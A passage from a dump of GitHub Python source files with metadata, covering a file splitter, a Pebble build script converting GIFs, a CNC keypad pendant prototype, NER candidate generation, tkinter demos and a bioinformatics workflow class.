len(self.x_df.columns)\n","repo_name":"MAIF/shapash","sub_path":"tests/unit_tests/backend/test_lime_backend.py","file_name":"test_lime_backend.py","file_ext":"py","file_size_in_byte":2579,"program_lang":"python","lang":"en","doc_type":"code","stars":2508,"dataset":"github-code","pt":"54"} +{"seq_id":"84187633","text":"import splitter_utils\nimport argparse\n\nsizes = {\n \"B\": 1,\n \"KB\": 1024,\n \"MB\": 1048576,\n \"GB\": 1073741824,\n \"TB\": 1099511627776\n}\n\ndef convert_to_byte_size(size, unit):\n return size * sizes.get(unit, sizes[\"B\"])\n\nparser = argparse.ArgumentParser(description=\"Split a file into chunks.\")\nparser.add_argument(\"input\", help=\"The file you want to split.\")\nparser.add_argument(\"output\", help=\"The folder you want the chunks to be written.\")\n\nparser.add_argument(\"-v\", \"--verbose\", help=\"Turn on verbose mode.\", action=\"store_true\")\n\nparser.add_argument(\"-s\", \"--size\", help=\"Set the chunks' size.\", type=int, \n default=1\n)\nparser.add_argument(\"-u\", \"--unit\", help=\"Set the unit for the size parameter.\", type=str, \n default=\"B\", \n choices=sizes.keys()\n)\n\nargs = parser.parse_args()\n\nif args.verbose:\n verbose_func = print\nelse:\n verbose_func = lambda text: None\nfile_name = args.input\noutput_folder = args.output\nchunk_size = convert_to_byte_size(args.size, args.unit)\n\nsplitter_utils.make_folder(output_folder, verbose_func)\nsplitter_utils.split_file(file_name, output_folder, chunk_size, verbose_func)\nprint(\"Done splitting the file into chunks!\")\n","repo_name":"gergovari/gsplitter","sub_path":"splitter.py","file_name":"splitter.py","file_ext":"py","file_size_in_byte":1229,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"9733236404","text":"\n#\n# This file is the default set of rules to compile a Pebble project.\n#\n# Feel free to customize this to your needs.\n#\n\ntop = '.'\nout = 'build'\n\ndef gifs_to_apngs(gifs_dir, appinfo_filename, resources_dir):\n import sys\n import json\n import os.path\n import subprocess\n from os import listdir\n from os.path import isfile, join\n\n # load old dictionary if possible\n if os.path.lexists(appinfo_filename):\n appinfo_json = json.load(open(appinfo_filename, \"rb\"))\n\n #media_entries = appinfo_json['resources']['media']\n media_entries = []\n\n gifs = [ f for f in listdir(gifs_dir) if isfile(join(gifs_dir,f)) ]\n gifs.sort()\n media_entries.append({\n \"characterRegex\": \"[ :0-9]\", \n \"type\": \"font\", \n \"name\": \"FONT_BOXY_TEXT_30\", \n \"file\": \"Boxy_Text.ttf\"\n })\n media_entries.append({\n \"characterRegex\": \"[ :0-9]\", \n \"type\": \"font\", \n \"name\": \"FONT_BOXY_OUTLINE_30\", \n \"file\": \"Boxy_Outline.ttf\"\n })\n media_entries.append({\n \"characterRegex\": \"[ /0-9MTWFSadehinortu]\", \n \"type\": \"font\", \n \"name\": \"FONT_BOXY_TEXT_18\", \n \"file\": \"Boxy_Text.ttf\"\n })\n media_entries.append({\n \"characterRegex\": \"[ /0-9MTWFSadehinortu]\", \n \"type\": \"font\", \n \"name\": \"FONT_BOXY_OUTLINE_18\", \n \"file\": \"Boxy_Outline.ttf\"\n })\n\n #use gifsicle and gif2apng to convert gifs to pebble compatible apngs\n #and add to appinfo.json file under resources/media\n i = 1\n for gif in gifs:\n if '.gif' in gif:\n png = gif.replace('.gif', '.png')\n gif_mod = gif.replace('.gif', '.mod.gif')\n subprocess.call('gifsicle --resize-fit 144x144 ' + \n '--resize-method lanczos3 ' + '--colors 64 -O1 -o ' + resources_dir + '/' + \n gif_mod + ' ' + gifs_dir + '/' + gif, shell=True)\n subprocess.call('./gif2apng_noprev -z0 ' + resources_dir + '/' + gif_mod + ' ' + \n resources_dir + '/' + png, shell=True)\n media_entries.append({\"type\":\"raw\",\"name\":\"IMAGE_\" + str(i), \"file\":png})\n i = i + 1\n\n appinfo_json['resources']['media'] = media_entries\n\n # write the json dictionary\n json.dump(appinfo_json, open(appinfo_filename, \"wb\"), indent=2, sort_keys=False)\n return True\n\ndef options(ctx):\n ctx.load('pebble_sdk')\n\ndef configure(ctx):\n gifs_to_apngs('gifs', 'appinfo.json', 'resources')\n ctx.load('pebble_sdk')\n\ndef build(ctx):\n import os.path\n ctx.load('pebble_sdk')\n\n build_worker = os.path.exists('worker_src')\n binaries = []\n\n for p in ctx.env.TARGET_PLATFORMS:\n ctx.set_env(ctx.all_envs[p])\n app_elf='{}/pebble-app.elf'.format(ctx.env.BUILD_DIR)\n ctx.pbl_program(source=ctx.path.ant_glob('src/**/*.c'),\n target=app_elf)\n\n if build_worker:\n worker_elf='{}/pebble-worker.elf'.format(ctx.env.BUILD_DIR)\n binaries.append({'platform': p, 'app_elf': app_elf, 'worker_elf': worker_elf})\n ctx.pbl_worker(source=ctx.path.ant_glob('worker_src/**/*.c'),\n target=worker_elf)\n else:\n binaries.append({'platform': p, 'app_elf': app_elf})\n\n ctx.pbl_bundle(binaries=binaries, js=ctx.path.ant_glob('src/js/**/*.js'))\n","repo_name":"mhungerford/pebbleGIF","sub_path":"wscript","file_name":"wscript","file_ext":"","file_size_in_byte":3280,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"54"} +{"seq_id":"37253757531","text":"#!/usr/local/bin/python3\n\nimport time\n\n# functions\n\ndef gcode_Get_Position():\n\t'get x/y/z coordinates from cnc'\n\tglobal tool_pos\n\tprint(\"tool_pos: %s\" % tool_pos)\n\ndef foo(params):\n\tprint(\"foo called! params=\",params)\n\ndef gcode_Cycle_Start(foo):\n\t'cyclestart'\n\ndef gcode_Feed_Hold(foo):\n\t'feedhold'\n\ndef gcode_Homing(foo):\n\t'homing'\n\tprint(\"Home called!\")\n\ndef gcode_Sleep(foo):\n\t'sleep'\n\ndef gcode_Unlock(foo):\n\t'unlock'\n\ndef gcode_Start(foo):\n\t'gcode:start'\n\ndef gcode_Pause(foo):\n\t'gcode:pause'\n\ndef gcode_Stop(foo):\n\t'gcode:stop'\n\ndef gcode_Resume(foo):\n\t'gcode:resume'\n\ndef gcode_Unload(foo):\n\t'gcode:unload'\n\tprint(\"Unload called!\")\n\ndef gcode_Move(args):\n\n\t'gcode:G0 [X|Y|Z]'\n\tglobal tool_pos\n\taxis,dir=args\n\ttool_pos[axis]+=dir*STEP_INCREMENTS[step_index]\n\tcmd=\"G0 X%f Y%f Z%f\" % (tool_pos['X'],tool_pos['Y'],tool_pos['Z'])\n\t#print(\"new pos: %s\" % tool_pos)\n\tpush_gcode(cmd)\n\ndef Step_Size(dir):\n\t'set step size mm'\n\tglobal step_index\n\tstep_index+=dir\n\tif step_index<0:\n\t\tstep_index+=1\n\tif step_index==len(STEP_INCREMENTS):\n\t\tstep_index-=1\n\tprint(\"step size: %.2fmm\" % STEP_INCREMENTS[step_index])\n\ndef decode_key(key):\n\tglobal key_rep_num\n\taction=''\n\tfor action in [rec for rec in ACTIONS if rec['key'] == key]:\n\t\tpass\n\t#print(action)\n\tif action!='':\n\t\tignore=False\n\t\tif action['flag']==F_3TIME:\n\t\t\tif key_rep_num==3:\n\t\t\t\tkey_rep_num=0\n\t\t\telse:\n\t\t\t\tignore=True\n\t\tif action['flag']==F_IGNORE_REPEAT:\n\t\t\tif key_rep_num>1:\n\t\t\t\tignore=True\n\t\tif not ignore:\n\t\t\taction['method'](action['params'])\n\n\ndef push_gcode(gcode):\n\t'push a command into gcode buffer'\n\tprint(\"gcode: %s\" % gcode)\n\ndef get_key_press():\n\tglobal cur_key, prev_key\n\tglobal cur_key_time, prev_key_time\n\tglobal key_rep_num, key_delta_time\n\n\tprev_key = cur_key\n\tprev_key_time = cur_key_time\n\tcur_key = input()\n\tcur_key_time = time.time()\n\n\tif prev_key_time is None:\n\t\tkey_delta_time = 0.0\n\telse:\n\t\tkey_delta_time = cur_key_time - prev_key_time \n\n\tif (cur_key == prev_key) and (key_delta_time<=KEY_REPEAT_TIME):\n\t\tkey_rep_num+=1\n\telse:\n\t\tkey_rep_num=1\n\n\tprint(cur_key,prev_key,key_delta_time,key_rep_num)\n\tdecode_key(cur_key)\n\n\n# constants and global variables section\n\nCNC_LIMITS={'xmin':0.0, 'xmax':450.0, 'ymin':0.0, 'ymax':1024.0, 'zmin':0.0, 'zmax':35.0}\nSTEP_INCREMENTS=[0.01,0.05,0.1,0.5,1.0,5.0,10.0,50.0,100.0]\n\nF_IGNORE_REPEAT=1\nF_3TIME=2\nACTIONS=(\t{'key':'KEY_0', 'method':gcode_Cycle_Start, \t'params':None, \t\t'flag':None\t\t\t\t},\n\t\t\t{'key':'KEY_1', 'method':gcode_Feed_Hold, \t\t'params':None, \t\t'flag':None\t\t\t\t},\n\t\t\t{'key':'H', \t'method':gcode_Homing, \t\t\t'params':None, \t\t'flag':F_3TIME\t\t\t},\n\t\t\t{'key':'KEY_3', 'method':gcode_Sleep, \t\t\t'params':None, \t\t'flag':None\t\t\t\t},\n\t\t\t{'key':'KEY_4', 'method':gcode_Unlock, \t\t\t'params':None, \t\t'flag':None\t\t\t\t},\n\t\t\t{'key':'KEY_5', 'method':gcode_Start, \t\t\t'params':None, \t\t'flag':None\t\t\t\t},\n\t\t\t{'key':'KEY_6', 'method':gcode_Pause, \t\t\t'params':None, \t\t'flag':None\t\t\t\t},\n\t\t\t{'key':'KEY_7', 'method':gcode_Stop, \t\t\t'params':None, \t\t'flag':None\t\t\t\t},\n\t\t\t{'key':'KEY_8', 'method':gcode_Resume, \t\t\t'params':None, \t\t'flag':None\t\t\t\t},\n\t\t\t{'key':'U', \t'method':gcode_Unload, \t\t\t'params':None, \t\t'flag':F_IGNORE_REPEAT\t},\n\t\t\t{'key':'-', \t'method':Step_Size, \t\t\t'params':-1, \t\t'flag':None\t\t\t\t},\n\t\t\t{'key':'+', \t'method':Step_Size, \t\t\t'params':+1, \t\t'flag':None\t\t\t\t},\n\t\t\t{'key':'A', \t'method':gcode_Move, \t\t\t'params':['X',-1], \t'flag':None\t\t\t\t},\n\t\t\t{'key':'S', \t'method':gcode_Move, \t\t\t'params':['X',+1], \t'flag':None\t\t\t\t},\n\t\t\t{'key':'Q', \t'method':gcode_Move, \t\t\t'params':['Y',-1], \t'flag':None\t\t\t\t},\n\t\t\t{'key':'Z', \t'method':gcode_Move, \t\t\t'params':['Y',+1], \t'flag':None\t\t\t\t},\n\t\t\t{'key':'W', \t'method':gcode_Move, \t\t\t'params':['Z',-1], \t'flag':None\t\t\t\t},\n\t\t\t{'key':'X', \t'method':gcode_Move, \t\t\t'params':['Z',+1], \t'flag':None\t\t\t\t}\n\t\t)\n\nKEY_REPEAT_TIME=1.0\nstep_index=STEP_INCREMENTS.index(1.0)\ntool_pos = {'X':0.0,'Y':0.0,'Z':0.0}\nprev_key = None\nprev_key_time = None\ncur_key = None\ncur_key_time = None\nkey_rep_num = 0\n\n# main program\n\ngcode_Get_Position()\n\nwhile (True):\n\tget_key_press()\n","repo_name":"jperrin72/cncjs-keypad-pendant","sub_path":"archives/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":4014,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"73895578082","text":"\nimport pickle\n\nsentences = []\n\nclass Sentence_cands:\n\n\tdef __init__(self):\n\t\tself.tokens = []\n\t\tself.lower_tokens = []\n\t\tself.predictions = []\n\t\tself.phrase_predictions = []\n\t\t# self.candidates = []\n\t\tself.candidates_by_token = {}\n\t\tself.candidates_form_by_token = {}\n\n\t\tself.gold = []\n\n\n\tdef generate_phrase_predictions(self):\n\t\tif len(self.predictions) == 0:\n\t\t\treturn\n\t\tstart_idx = self.predictions[0][1]\n\t\tlast_idx = self.predictions[0][1]\n\t\t# print(self.predictions)\n\t\tfor i in range(1, len(self.predictions)):\n\t\t\t# print(pred)\n\t\t\t# print(i)\n\t\t\tpred = self.predictions[i]\n\t\t\tidx = pred[1]\n\t\t\tif idx != last_idx + 1:\n\t\t\t\tself.phrase_predictions.append((start_idx, last_idx+1))\n\t\t\t\tstart_idx = idx\n\t\t\t\tlast_idx = idx\n\t\t\telse:\n\t\t\t\tlast_idx = idx\n\t\tself.phrase_predictions.append((start_idx, last_idx+1))\n\n\n\tdef generate_surface_form_by_token(self, idx):\n\t\tforms = []\n\t\tfor cand in self.candidates_by_token[idx]:\n\t\t\tl = cand[0]\n\t\t\tr = cand[1]\n\t\t\tforms.append(' '.join(self.tokens[l:r]))\n\t\tself.candidates_form_by_token[idx] = forms\n\n\n\tdef union_cands(self):\n\t\tunion = set()\n\t\tfor pred in self.candidates_by_token:\n\t\t\tfor cand in self.candidates_by_token[pred]:\n\t\t\t\tunion.add(cand)\n\t\treturn union\n\ndef LoadWikiTitle():\n\tfile = open(\"wiki_data/wiki_title_type.pickle\", \"rb\")\n\t# file = open(\"wiki_title.pickle\", \"rb\")\n\n\tdata = pickle.load(file)\n\treturn data\n\n\ndef ReadData(file):\n\tinfile = open(file, \"r\")\n\tsen = Sentence_cands()\n\tlStart = 0\n\tlabel = 'O'\n\ttoken_id = -1\n\tflag = False\n\tfor line in infile:\n\t\tline = line.replace('\\n','')\n\t\tif len(line) == 0:\n\t\t\tif flag == False:\n\t\t\t\tif label != 'O':\n\t\t\t\t\tsen.gold.append((lStart, token_id+1, label))\n\t\t\t\t\tlStart = 0\n\t\t\t\t\tlabel = 'O'\n\t\t\t\tsentences.append(sen)\n\t\t\t\tsen = Sentence_cands()\n\t\t\t\ttoken_id = -1\n\t\t\t\tflag = True\n\t\t\tcontinue\n\t\telse:\n\t\t\tflag = False\n\t\t\tsplit_sen = line.split('\\t')\n\t\t\ttoken = split_sen[0]\n\t\t\tpred = split_sen[1]\n\t\t\tif token == \"'s\":\n\t\t\t\tsplit_sen[2] = 'O'\n\t\t\tsen.tokens.append(token)\n\t\t\tsen.lower_tokens.append(token.lower())\n\t\t\ttoken_id += 1\n\t\t\tif split_sen[1] != \"O\":\n\t\t\t\tsen.predictions.append((token, token_id))\n\t\t\t\n\t\t\tif split_sen[2] == 'O' or split_sen[2].startswith('B-'):\n\t\t\t\tif label != 'O':\n\t\t\t\t\tsen.gold.append((lStart, token_id, label))\n\t\t\t\t\tlStart = 0\n\t\t\t\t\tlabel = 'O'\n\t\t\t\tif split_sen[2].startswith('B-'):\n\t\t\t\t\tlStart = token_id\n\t\t\t\t\tlabel = split_sen[2][2:]\n\n\t\t\t\t\t# # TODO: Just for post-processing!\n\t\t\t\t\t# if split_sen[1][2:] != 'O':\n\t\t\t\t\t# \tlabel = split_sen[1][2:]\n\t\t\t\t\t# else:\n\t\t\t\t\t# \tlabel = 'O'\n\n# for sen in sentences:\n\t# \tfor gold in sen.gold:\n\t# \t\tprint(' '.join(sen.tokens[gold[0] : gold[1]]), gold[2])\n\n\ndef GenerateCandidate():\n\n\tleft = [-2,-1,0]\n\tright = [1,2,3]\n\n\ttotal_cand = 0\n\n\tfor sen in sentences:\n\t\tfor pred in sen.predictions:\n\t\t\ttoken = pred[0]\n\t\t\tt_idx = pred[1]\n\t\t\t# print(pred)\n\t\t\tsen.candidates_by_token[t_idx] = []\n\t\t\tfor l in left:\n\t\t\t\tfor r in right:\n\t\t\t\t\tleft_idx = t_idx + l\n\t\t\t\t\tright_idx = t_idx + r\n\t\t\t\t\tif left_idx < 0 or right_idx > len(sen.tokens):\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t# print(t_idx)\n\t\t\t\t\tsen.candidates_by_token[t_idx].append((left_idx, right_idx))\n\t\t\t\t\ttotal_cand += 1\n\t\t#ToDO: merge candidates\t\n\t\tfor pred in sen.predictions:\n\t\t\ttoken = pred[0]\n\t\t\tt_idx = pred[1]\n\t\t\tsen.generate_surface_form_by_token(t_idx)\n\n\tprint(total_cand)\n\n\ndef FilterCandByWiki(wiki):\n\tremoved_counter = 0\n\tfor sen in sentences:\n\t\tfor pred in sen.predictions:\n\t\t\ttoken = pred[0]\n\t\t\tt_idx = pred[1]\n\t\t\tsafe_cand = []\n\t\t\tfilter_cand = []\n\t\t\tfor idx, cand in enumerate(sen.candidates_form_by_token[t_idx]):\n\t\t\t\tform = cand.lower().replace(' ', '_')\n\t\t\t\t# print(form)\n\t\t\t\tif form in wiki:\n\t\t\t\t\t# print(form)\n\t\t\t\t\tsafe_cand.append(sen.candidates_by_token[t_idx][idx])\n\t\t\t\telse:\n\t\t\t\t\tfilter_cand.append(sen.candidates_by_token[t_idx][idx])\n\n\t\t\t#remove nested candidates\n\t\t\t# remove_cand = []\n\t\t\t# for idx1, cand in enumerate(safe_cand):\n\t\t\t# \tfor idx2, cand2 in enumerate(safe_cand):\n\t\t\t# \t\tif idx1 != idx2 and cand[0] <= cand2[0] and cand[1] >= cand2[1]:\n\t\t\t# \t\t\tif cand[0]+1 == cand2[0] and sen.tokens[cand[0]].lower() == 'the':\n\t\t\t# \t\t\t\tcontinue\n\t\t\t# \t\t\tremove_cand.append(cand2)\n\t\t\t# safe_cand = [x for x in safe_cand if x not in remove_cand]\n\t\t\t\n\t\t\tsecond_safe_cand = []\n\t\t\tif safe_cand != []:\n\t\t\t\tfor cand in filter_cand:\n\t\t\t\t\tflag = True\n\t\t\t\t\tfor safe in safe_cand:\n\t\t\t\t\t\tif (cand[0] >= safe[0] and cand[1] <= safe[1]) or (cand[0] > safe[0] and cand[0] < safe[1]) or (cand[1] > safe[0] and cand[1] < safe[1]):\n\t\t\t\t\t\t\tflag = False\n\t\t\t\t\t\t\tremoved_counter += 1\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\tif flag:\n\t\t\t\t\t\tsecond_safe_cand.append(cand)\n\t\t\t\tsen.candidates_by_token[t_idx] = safe_cand + second_safe_cand\n\t\t\t\t# print(sen.candidates_by_token[t_idx])\n\t\t\t\tsen.generate_surface_form_by_token(t_idx)\n\t\t\t\t# print(sen.candidates_form_by_token[t_idx])\n\tprint(removed_counter)\n\n\ndef PrintCandidates():\n\toutfile = open('candidates.out', 'w')\n\tfor sen in sentences:\n\t\tfor token in sen.predictions:\n\t\t\t# print(token[1])\n\t\t\toutfile.write(token[0] + \" : \" + str(sen.candidates_form_by_token[token[1]]) + '\\n')\n\t\t# print('\\n')\n\ndef CalculateCoverage():\n\ttotal = 0.0\n\tcover = 0.0\n\n\tmiss = []\n\tfor sen in sentences:\n\t\tfor gold in sen.gold:\n\t\t\ttotal += 1\n\t\t\tflag = False\n\t\t\tfor pred in sen.predictions:\n\t\t\t\tt_idx = pred[1]\n\t\t\t\tfor cand in sen.candidates_by_token[t_idx]:\n\t\t\t\t\tif gold[0] == cand[0] and gold[1] == cand[1]:\n\t\t\t\t\t\tcover += 1\n\t\t\t\t\t\tflag = True\n\t\t\t\t\t\tbreak\n\t\t\t\tif flag:\n\t\t\t\t\tbreak\n\t\t\tif flag == False:\n\t\t\t\tmiss.append(' '.join(sen.tokens[gold[0] : gold[1]]))\n\n\tprint(\"Coverage of gold mentions: \", float(cover)/float(total))\n\treturn miss\n\ndef generate_main(filename):\n\twiki = LoadWikiTitle()\n\tReadData(filename)\n\tGenerateCandidate()\n\tFilterCandByWiki(wiki)\n\treturn sentences\n\ndef main():\n\twiki = LoadWikiTitle()\n\t# prisnt(wiki)\n\tReadData(\"CLM_output/CLM_CoNLL_dev.out\")\n\t# ReadData(\"CLM_On.out\")\n\tGenerateCandidate()\n\tbefore_filter = CalculateCoverage()\n\tFilterCandByWiki(wiki)\n\tafter_filter = CalculateCoverage()\n\tmissed = [x for x in after_filter if x not in before_filter]\n\tprint(missed)\n\tPrintCandidates()\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"yxd126/NER_clm_zoe","sub_path":"generate_candidates.py","file_name":"generate_candidates.py","file_ext":"py","file_size_in_byte":6026,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"11606407139","text":"from tkinter import * \n\ndef executar():\n label_1['text'] = t1.get()\n label_2['text'] = t2.get()\n label_3['text'] = t3.get()\n\nroot = Tk()\n\nroot.title('Aplicação')\n\nt1=Entry(root)\nt2=Entry(root)\nt3=Entry(root)\n\nlabel_1 = Label(root)\nlabel_2 = Label(root)\nlabel_3 = Label(root)\n\nbotao = Button(root,text='Executar',command=executar)\n\n# Ao selecionar um dos campos e pressionar TAB, o cursor será movido para o próximo campo respeitando a ordem em que os campos foram dispostos abaixo\nt1.grid()\nt2.grid()\nt3.grid()\n\nlabel_1.grid()\nlabel_2.grid()\nlabel_3.grid()\n\nbotao.grid()\n\n\n# O parâmetro focus faz com que ao abrir o arquivo o cursor já esteja no campo selecionado\nt1.focus()\n\nroot.mainloop()\n\n# Esta aplicação tem o objetivo de demonstrar que a ordem que o código é escrito pode alterar alguns pontos no funcionamento do programa","repo_name":"Sipauba/ESTUDO","sub_path":"tkinter/app18-focus-tab-ordenacao.py","file_name":"app18-focus-tab-ordenacao.py","file_ext":"py","file_size_in_byte":848,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"31011125706","text":"'''\nCreated on 10 Dec 2012\n\n@author: musselle\n'''\nimport os \nfrom os.path import join as joinp\nimport sys \n\nimport glob\nimport re\n\nfrom utils import get_data_prefix\nfrom utils.preprocess import Preprocessor, ConfigClass\nfrom utils.cluster import ClusterClass\nimport cPickle as pkl\n\nfrom file_conversions import makeSQLindex\n\nfrom utils.database import Popgen_db\n\nclass Workflow(object):\n ''' Container for all preprocessing, filtering, and exploritry analysis with \n a particular dataset\n '''\n \n def __init__(self):\n self.c = ConfigClass()\n \n def create_new(self, name=None, db_name=None, testing=False):\n ''' Setup directory structure and initialise config file and database \n for the given dataset name.'''\n \n if (name is None) or (type(name) is not str):\n raise Exception('Must specify a valid name for the dataset.')\n if db_name is None:\n db_name = name + '.db'\n \n # Setup Configuration\n prefix = get_data_prefix()\n \n # Default path locations\n self.c.testing = testing\n self.c.root_name = name\n self.c.db_name = db_name\n if testing:\n self.c.data_inpath = joinp(prefix,name, 'testset')\n else:\n self.c.data_inpath = joinp(prefix, name, 'raw-data') \n self.c.barcode_inpath = joinp(prefix, name , 'barcodes')\n self.c.filtered_outpath = joinp(prefix, name , 'processed-data')\n self.c.tag_processed_outpath = joinp(prefix, name, 'processed-data')\n self.c.tag_splitby_sample_outpath = joinp(prefix, name, 'processed-data', 'per-sample')\n self.c.tag_splitby_subgroup_outpath = joinp(prefix, name, 'processed-data', 'per-subgroup')\n self.c.clusters_outpath = joinp(prefix, name, 'clusters')\n self.c.db_path = joinp(prefix, name)\n self.c.cdhit_path = os.path.expanduser(\"~/bin/cd-hit-v4.6.1\")\n\n\n # Create directories of they dont exist\n for attr in dir(self.c): #numwritten = SeqIO.write(RecCycler.recgen , output_filehdl , 'fastq')\n#print '{0} records written'.format(numwritten)\n#total_numwritten += numwritten\n if 'path' in attr:\n path = getattr(self.c, attr)\n if not os.path.exists(path):\n os.makedirs(path)\n\n # Var to choose between different output locations after splitting data \n self.c.current_tag_split_outpath = None\n \n # Set interim file suffixes\n self.c.filtered_files_postfix = '-pass'\n self.c.tag_processed_files_postfix = '-clean'\n\n # MIDtags\n self.c.cutsite = 'TGCAGG'\n self.c.max_edit_dist = 2\n \n # FILTERING\n # Whether to log reads that fail the filtering \n self.c.log_fails = False\n \n # Create new Database \n self.db = Popgen_db(joinp(self.c.db_path, db_name), recbyname=True, new=True)\n \n # Save config\n f = open(joinp(self.c.db_path, '.' + name + '-config.pkl'), 'w')\n pkl.dump(self.c, f)\n \n def load(self, name=None, db_name=None, recbyname=True):\n ''' Load a pre-existing directory structure, config file and database \n with the given dataset name.'''\n \n if (name is None) or (type(name) is not str):\n raise Exception('Must specify a valid name for the dataset.')\n if db_name is None:\n db_name = name + '.db'\n \n # Load config\n prefix = get_data_prefix()\n path2config = joinp(prefix, name, '.' + name + '-config.pkl')\n path2db = joinp(prefix, name, db_name)\n \n self.db = Popgen_db(path2db, recbyname=recbyname)\n self.c = pkl.load(open(path2config))\n \n # Setup Configuration with new prefix \n prefix = get_data_prefix()\n \n if self.c.testing:\n self.c.data_inpath = joinp(prefix,name, 'testset')\n else:\n self.c.data_inpath = joinp(prefix, name, 'raw-data') \n self.c.barcode_inpath = joinp(prefix, name , 'barcodes')\n self.c.filtered_outpath = joinp(prefix, name , 'processed-data')\n self.c.tag_processed_outpath = joinp(prefix, name, 'processed-data')\n self.c.tag_splitby_sample_outpath = joinp(prefix, name, 'processed-data', 'per-sample')\n self.c.tag_splitby_subgroup_outpath = joinp(prefix, name, 'processed-data', 'per-subgroup')\n self.c.clusters_outpath = joinp(prefix, name, 'clusters')\n self.c.db_path = joinp(prefix, name)\n \n \n def add_datafiles(self, data_files=None , barcode_files=None ):\n ''' Add datafiles and barcodes in pairs to the database.\n \n Each pair defines the samples present in the datafiles listed. \n \n If 'files' or 'barcodes' is a str, it is interpreted as a glob to the \n data_path / barcode_path respecively.\n '''\n \n if type(data_files) is str:\n data_files = glob.glob(joinp(self.c.data_inpath, data_files))\n if type(barcode_files) is str:\n barcode_files = glob.glob(joinp(self.c.barcode_inpath, barcode_files))\n \n # Input samples-datafiles info in Database \n self.db.add_barcodes_datafiles(barcode_files, data_files, datafile_type='raw_mixed') \n \n def setup_preprocessing(self, infiles_pattern, params=None, param_id=None):\n ''' Setup the preprocessing function for the workflow '''\n \n # Get params if id given \n if params is None and param_id is None:\n raise Exception(\"No parameters and no parameter id to lookup.\")\n if param_id:\n params = self.db.get_binary('params', 'filtering_parameterID', param_id, table='filtering_parameters')\n assert params, \"No data returned from database for param_id: %s\" % param_id\n self.c.filterparam_id = param_id\n else:\n # Insert parameters dictionary into filter_parameters table\n self.c.filterparam_id = self.db.insert_binary(params, col='params', table='filtering_parameters')\n \n # Define Preprocessing Class and set inputs\n self.Preprocessor = Preprocessor(self.c)\n self.Preprocessor.db = self.db # Pass database reference to Preprocessor \n \n self.Preprocessor.set_input_files(data_files=infiles_pattern, data_inpath=self.c.data_inpath)\n \n self.Preprocessor.filter_functions = [\n self.Preprocessor.make_propN_filter(params['filtering']['propN']),\n self.Preprocessor.make_phred_filter(params['filtering']['phred']),\n self.Preprocessor.make_cutsite_filter(max_edit_dist=params['filtering']['cutsite_edit_dist']),\n self.Preprocessor.make_overhang_filter('TCGAGG', 'GG', params['filtering']['overhang_edit_dist'])\n ]\n \n # Save addition to config file\n path = joinp(self.c.db_path, '.' + self.c.root_name + '-config.pkl')\n if os.path.exists(path):\n os.remove(path)\n pkl.dump(self.c, open(path, 'w'))\n \n def run_preprocessing(self):\n ''' Call the Preprocessing functions for the workflow '''\n\n params = self.db.get_binary('params', 'filtering_parameterID', self.c.filterparam_id, table='filtering_parameters')\n \n # Process and Correct MID tag \n self.Preprocessor.filter_reads_pipeline()\n self.Preprocessor.process_MIDtag(max_edit_dist = params['cleaning']['max_edit_dist'])\n\n # Remove filtered intermediate files \n self.Preprocessor.cleanup_files('filtered') \n\n def setup_clustering(self, mode, infiles_pattern, infiles_path=None, default_params=None, subgroups=None):\n ''' Setup files for the Clustering function of the workflow. \n \n Does the necessary splitting and trimming of files if specified in mode.\n '''\n \n # Input Checks\n if not hasattr(self, 'c'):\n raise Exception('Must first load a config file')\n if not hasattr(self, 'Preprocessor'):\n self.Preprocessor = Preprocessor(self.c)\n self.Preprocessor.db = self.db\n\n if infiles_path is None:\n infiles_path = self.c.tag_processed_outpath\n\n # Set files to process for clustering \n self.Preprocessor.set_input_files(data_files=infiles_pattern, data_inpath=infiles_path)\n \n if mode == 'split_by_tags':\n (outfiles, outpath) = self.Preprocessor.split_by_tags()\n self.c.current_tag_split_outpath = outpath\n # Create index for files clustered\n# makeSQLindex(outfiles, outpath)\n \n files2cluster, path = self.Preprocessor.trim_reads(mode='separate', \n outpath=self.c.tag_splitby_sample_outpath, n=1)\n elif mode == 'split_by_subgroups':\n if subgroups is None:\n raise Exception(\"No subgroups specified\")\n (outfiles, outpath) = self.Preprocessor.split_by_subgroups(subgroups)\n self.c.current_tag_split_outpath = outpath\n # Create index for files clustered\n# makeSQLindex(outfiles, outpath)\n \n files2cluster, path = self.Preprocessor.trim_reads(mode='separate',\n outpath=self.c.tag_splitby_subgroup_outpath, n=1)\n elif mode == 'no_split_grouped':\n # Create index for files clustered\n# makeSQLindex(filepattern=infiles_pattern, data_inpath=self.c.tag_processed_outpath)\n files2cluster, path = self.Preprocessor.trim_reads(mode='grouped', n=1)\n self.c.current_tag_split_outpath = path \n elif mode == 'no_split_separate':\n # Create index for files clustered\n# makeSQLindex(filepattern=infiles_pattern, data_inpath=self.c.tag_processed_outpath)\n files2cluster, path = self.Preprocessor.trim_reads(mode='separate', n=1)\n self.c.current_tag_split_outpath = path \n else:\n raise Exception(' No valid mode specified. ')\n\n # Setup Clusterer\n self.Clusterer = ClusterClass(infiles=files2cluster, inpath=path, \n config=self.c, db=self.db, defaults=default_params)\n\n def run_clustering(self, run_parameters, **kwargs):\n ''' Run CDHIT using the specified parameters. passes on any kwargs'''\n \n outputs_list = self.Clusterer.run_batch_cdhit_clustering(run_parameters, **kwargs)\n outnames_list, out_path, counters_list = zip(*outputs_list)\n \n return outnames_list, out_path, counters_list\n \n def add_experiment_name(self, name, description):\n ''' Add Experimental details and config object in database'''\n\n # These should be unique for each experiment, else results table is overwritten\n self.c.experiment_name = name\n self.c.experiment_description = description\n self.c.exp_id = self.db.add_experiment(config=self.c, exp_type='clustering')\n \n def cleanup_files(self, file_type):\n ''' Remove all intermediate files specified '''\n self.Preprocessor.cleanup_files(file_type)\n \n \n \n\n","repo_name":"MrKriss/popGen","sub_path":"utils/workflow.py","file_name":"workflow.py","file_ext":"py","file_size_in_byte":11286,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"10476209081","text":"from tkinter import *\r\n\r\nroot = Tk()\r\n\r\ncanvas = 